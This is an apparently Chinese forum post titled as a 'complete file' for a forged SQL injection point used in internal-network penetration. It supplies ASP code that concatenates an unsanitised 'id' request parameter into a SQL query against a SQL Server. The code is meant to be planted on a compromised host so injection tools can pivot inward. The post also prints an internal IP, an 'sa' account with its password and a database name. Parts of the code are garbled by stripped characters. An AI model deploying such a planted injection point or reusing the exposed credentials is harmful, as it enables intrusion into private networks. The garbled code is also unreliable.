伪造sql注入点的完整文件

zyp

最近一直有人问关于伪造注入点 进行内网渗透的一些问题<br/><br/>其实这个文件大家早就见过 竟然有些人说不完整 缺少 conn.asp 倒...<br/><br/>给个完整的及设置办法 这个文件是偶在渗透的时候写到的<br/><br/>数据库服务器 1.0.5.195 <br/>帐户 sa<br/>密码 accountbase<br/>数据库名 gameaccount_server<br/>&lt;% <br/>strSQLServerName = &quot;1.0.5.195&quot; &#039;服务器名称或地址<br/>strSQLDBUserName = &quot;sa&quot; &#039;数据库帐号<br/>strSQLDBPassword = &quot;accountbase&quot; &#039;数据库密码<br/>strSQLDBName = &quot;gameaccount_server&quot; &#039;数据库名称<br/>Set conn = Server.CreateObject(&quot;ADODB.Connection&quot;)<br/>strCon = &quotrovider=SQLOLEDB.1ersist Security Info=False;Server=&quot; &amp; strSQLServerName &amp; &quot;;User ID=&quot; &amp; strSQLDBUserName &amp; &quot;assword=&quot; &amp; strSQLDBPassword &amp; &quot;;Database=&quot; &amp; strSQLDBName &amp; &quot;;&quot;<br/>conn.open strCon<br/>dim rs,strSQL,id <br/>set rs=server.createobject(&quot;ADODB.recordset&quot;) <br/>id = request(&quot;id&quot;) <br/>strSQL = &quot;select * from ACTLIST where worldid=&quot; &amp; idrs.open strSQL,conn,1,3 <br/>rs.close <br/>%&gt;